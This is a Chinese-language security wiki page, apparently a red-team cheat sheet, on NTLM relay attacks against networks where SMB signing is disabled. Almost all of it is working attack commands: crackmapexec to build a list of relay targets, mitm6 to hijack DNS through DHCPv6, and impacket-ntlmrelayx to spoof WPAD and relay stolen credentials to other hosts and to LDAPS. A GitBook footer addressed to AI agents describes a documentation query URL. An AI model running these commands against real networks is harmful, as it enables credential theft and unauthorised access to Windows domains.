> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/heng-xiang-yi-dong/ntlm-zhong-ji-he-zhong-jian-ren-gong-ji/smb-qian-ming-jin-yong-he-ipv6.md).

# SMB签名禁用和IPv6

```
自MS16-077起，不再通过广播协议请求 WPAD 文件的位置，而仅通过 DNS 请求。
crackmapexec smb $hosts --gen-relay-list relay.txt

DNS 通过 IPv6 接管，mitm6 将通过 DHCPv6 请求 IPv6 地址
-d 是我们过滤请求的域名 - 被攻击的域
-i 是我们让 mitm6 监听事件的接口
>mitm6 -i eth0 -d $domain
欺骗 WPAD 和中继 NTLM 凭据
>impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt
>impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug

-ip 是您希望中继运行的接口
-wh 用于 WPAD 主机，指定wpad 文件
-t 是您要中继到的目标。
>impacket-ntlmrelayx -ip 10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.heresecurity.wiki/heng-xiang-yi-dong/ntlm-zhong-ji-he-zhong-jian-ren-gong-ji/smb-qian-ming-jin-yong-he-ipv6.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
